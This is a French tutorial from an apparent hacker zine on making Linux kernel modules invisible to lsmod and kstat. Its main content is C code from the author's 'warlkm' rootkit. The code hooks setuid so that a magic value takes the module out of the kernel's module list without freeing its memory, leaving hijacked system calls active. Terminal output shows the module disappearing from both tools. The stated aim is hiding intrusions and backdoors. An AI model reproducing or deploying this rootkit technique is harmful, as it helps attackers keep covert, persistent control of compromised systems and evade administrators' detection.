Modules du noyau linux indétectables ------------------------------------ I Introduction 1.1 Qu'est-ce qu'un lkm ? ------------------------- Lkm veut dire Linux Kernel Module. C'est un add-on que l'on peut greffer au kernel pendant son fonctionnement. La plupart des modules servent a gerer du matériel, un type de partitions, etc... mais nos lkm servent surtout a cacher une intrusion dans un systeme, et a installer une backdoor qui ne sera pas vue meme avec des outils comme kstat comme nous le verrons plus loin. Cet article n'est pas une initiation aux lkm, si vous venez de découvrir ce terme lisez avant tout un document tel que "Nearly complete linux kernel modules" de pragmatic/THC. J'écrirai peut-etre une initiation plus tard. 1.2 Pourquoi un lkm peut-il etre dangereux ? -------------------------------------------- Lorsqu'un hacker penetre sur votre systeme, toute configuration par défaut lui laisse l'opportunité d'installer un lkm. Le lkm peut modifier le fonctionnement du noyau, cacher des processus, se cacher lui-meme, rendre le noyau instable ou faire des mauvaises (tres mauvaises) blagues telles que rendre l'affichage de la console en c0wB0yZ !!! Les seules limites d'implementation de ces lkm sont l'imagination et vos dons de codeurs. 1.3 Passons aux choses serieuses...La detection de ces modules -------------------------------------------------------------- Lorsque vous avez été penetré, la première chose a faire pour voir si vous êtes victimes d'un lkm est d'executer "lsmod" et "cat /proc/modules". Ex: falcon:~$ cat /proc/modules evil_lkm 5746 0 (unused) scsi_mod 58640 0 msdos 5408 0 (unused) minix 22384 0 (unused) binfmt_misc 3280 0 ne2k-pci 4656 0 (unused) 8390 6432 0 [ne2k-pci] bsd_comp 3872 0 (unused) ppp 20160 0 [bsd_comp] lp 5360 0 (unused) parport_pc 5840 1 parport 7056 1 [lp parport_pc] vfat 9312 2 (autoclean) fat 30144 2 (autoclean) [msdos vfat] Comme vous pouvez le voir, il y a un module nommé evil_lkm qui est chargé dans le systeme. Vive la discretion ! (j'ai personnelement vu une box linux qui avait un module nommé rkit chargé...) Pour eliminer cet intrus, executez /sbin/rmmod evil_lkm. Dans la plupart des cas, le module exporte ses propres symboles dans /proc/ksyms. Ne vous laissez pas avoir, il y a tres facilement moyen de les eliminer. Les methodes décrites par pragmatic pour cacher son lkm sont a présent totalement obsoletes avec des outils comme kstat, alors nous allons en trouver de nouvelles. 2 Detection de lkm à l'aide de KSTAT 2.1 Kstat ?? ------------ Kstat est un programme qui analyse /dev/kmem pour y retrouver directement les modules, processus, et system calls. L'utilisateur doir etre root, fournir un System.map correspondant a son noyau, et qui est créé a la compilation de ce dernier. 2.2 Pourquoi est-il plus sécurisé d'utiliser kstat a la place de lsmod ? ------------------------------------------------------------------------ lsmod et /proc/modules sont basés uniquement sur le noyau. Il est tres facile de cacher son module par exemple en modifiant son nom. C'est plus dur de se cacher de kmem, mais ce n'est pas impossible ... 2.3 Comment on utilise kstat ? ------------------------------ Regardez dans la page man, mais en gros kstat -s montre les adresses des syscalls, a partir de sys_call_table et kstat -M montre les modules insérés dans le noyau. Nous voila partis ! 3 Cachons notre module ! 3.1 Insertion de module dans le noyau ------------------------------------- Un module est inséré dans le kernel par l'appel systeme "sys_create_module" (quel secret !!). Le code est inséré dans la memoire du kernel. Les symboles sont résolvés par insmod. Module_init() est lancée, et si elle n'échoue pas, le module est installé. 3.2 Déchargement de module -------------------------- Ici les choses commencent à devenir interressantes ... L'appel systeme "sys_delete_module" enlève un module (sans blagues !). Observez la dans /usr/src/linux/kernel/module.c (je pense qu'elle est identique dans le 2.2 et dans le 2.4 mais je me suis basé sur une version 2.2). 3.3 Joli code, mais que faire ? ------------------------------- Mon idée est de charger normallement le module, puis de le décharger mais en "oubliant" de désallouer sa mémoire. Le code du lkm va rester en memoire et ne se fera jamais ecraser par un autre (vu que sa memoire reste allouée) et les appels systemes deviés se feront encore normallement. Il faut pour cela construire une version spéciale de sys_remove_module. struct module **module_list =(struct module *) MODULE_LIST; extern struct module *this_module; static inline remove_me(pid_t pid){ int tag_freed = 0; struct module_ref *dep; unsigned i; struct module *mod =this_module; if (pid==12345){ hacked_sys_call_table[SYS_setuid]=sys_setuid; /* Let the module clean up. */ if (mod) { mod->flags |= MOD_DELETED; if (mod->flags & MOD_RUNNING) { /* if(mod->cleanup) mod->cleanup();*/ /* cleanup() my module ??? you are crazy in your head :-) */ mod->flags &= ~MOD_RUNNING; } /* Remove the module from the dependency lists. */ for (i = 0, dep = mod->deps; i < mod->ndeps; ++i, ++dep) { struct module_ref **pp; for (pp = &dep->dep->refs; *pp != dep; pp = \ &(*pp)->next_ref) continue; *pp = dep->next_ref; if (tag_freed && dep->dep->refs == NULL) dep->dep->flags |= MOD_JUST_FREED; } /* And from the main module list. */ if (mod == *module_list) { *module_list = mod->next; } else { struct module *p; for (p = *module_list; p->next != mod; p = p->next) continue; p->next = mod->next; } /* And **not to free** the memory. ( :-)))) )*/ /* module_unmap(mod); */ } /* if(mod) */ else { printk("<1> warlkm not found \n"); return 1; } return 0; } else return (*sys_setuid)(pid); } Ce bout de code provient de mon lkm (warlkm). Cette fonction est placée a la place de sys_setuid dans sys_call_table pour pouvoir etre lancée à l'appel de setuid(12345). Il faut lancer cette fonction d'un moyen externe et non à partir de module_init() parce que lors de l'execution de cette derniere, le module n'est pas encore enregistré dans le kernel. Il y a une ligne un peu bizarre : struct module **module_list =(struct module *) MODULE_LIST; C'est une fonction qui n'est pas exportée par le kernel. Pour pouvoir l'utiliser, ils faut les sortir de System.map (et placer l'adresse de module_list dans MODULE_LIST Vous pouvez aussi voir un hacked_sys_call_table[]. Ca sera expliqué dans le texte suivant mais pour le moment on considère que c'est equivalent a sys_call_table. 2.4 Les faits ------------- Rentrez ce code dans votre lkm et n'oubliez pas de faire un original_sys_setuid=sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid]=remove_me; Compilez le et insmodez le... falcon:~/warlkm# lsmod Module Size Used by warlkm 2448 0 (unused) ... notre module est toujours la. falcon:~/warlkm# kstat -M Using /lib/modules/misc/knull.o Module Address knull 0xc4c71000 warlkm 0xc4c73000 scsi_mod 0xc4c59000 ... Warlkm est encore visible. maintenant, executons notre petite fonction remove_me :-) J'ai fais un tout ptit programme qui lance l'appel systeme sys_setuid int main(){ setuid(12345); return 0; } on compile, execute,et .. falcon:~/warlkm# lsmod Module Size Used by knull 224 0 (unused) scsi_mod 58640 0 ... pas de warlkm ! falcon:~/warlkm# kstat -M Using /lib/modules/misc/knull.o Module Address knull 0xc4c71000 scsi_mod 0xc4c59000 msdos 0xc4c56000 ... pas de warlkm non plus Malgré qu'on ne le voie plus, le lkm est toujours en memoire. Ce bout de code seul ne peut rien prouver vu qu'il n'intercepte pas de syscall, mais si vous l'aviez intégré a votre lkm favori, ce dernier fonctionnerait encore. test avec warlkm : mon lkm intercepte sys_kill.Si le lkm n'était plus présent, il ne marcherait plus. Essayons de faire disparaitre le processus init(qui ne peut normallement pas etre killé) falcon:~/warlkm# kill -32 1 falcon:~/warlkm# ps aux | grep init falcon:~/warlkm# kill -32 1 falcon:~/warlkm# ps aux | grep init root 1 0.0 0.0 344 52 ? S 12:05 0:04 init[3] Ok ça marche ;-) 3.5 C'est bien. On le vire comment ? ------------------------------------ En rebootant la machine. ou alors creer un autre lkm qui reinstalle les rustines dans sys_call... il faut déjà savoir que le module existe !! La fois prochaine, nous verrons comment empecher certains programmes comme kstat de detecter les detournements de syscalls. Bonne prog. 4 Bibliographie Pragmatic/THC The nearly complete linux kernel modules : http://www.thehackerschoice.com/papers/LKM_HACKING.htm O'Reilly "Understanding the linux kernel" (maintenant existe en français). --SpaceWalker-- spacewalker@altern.org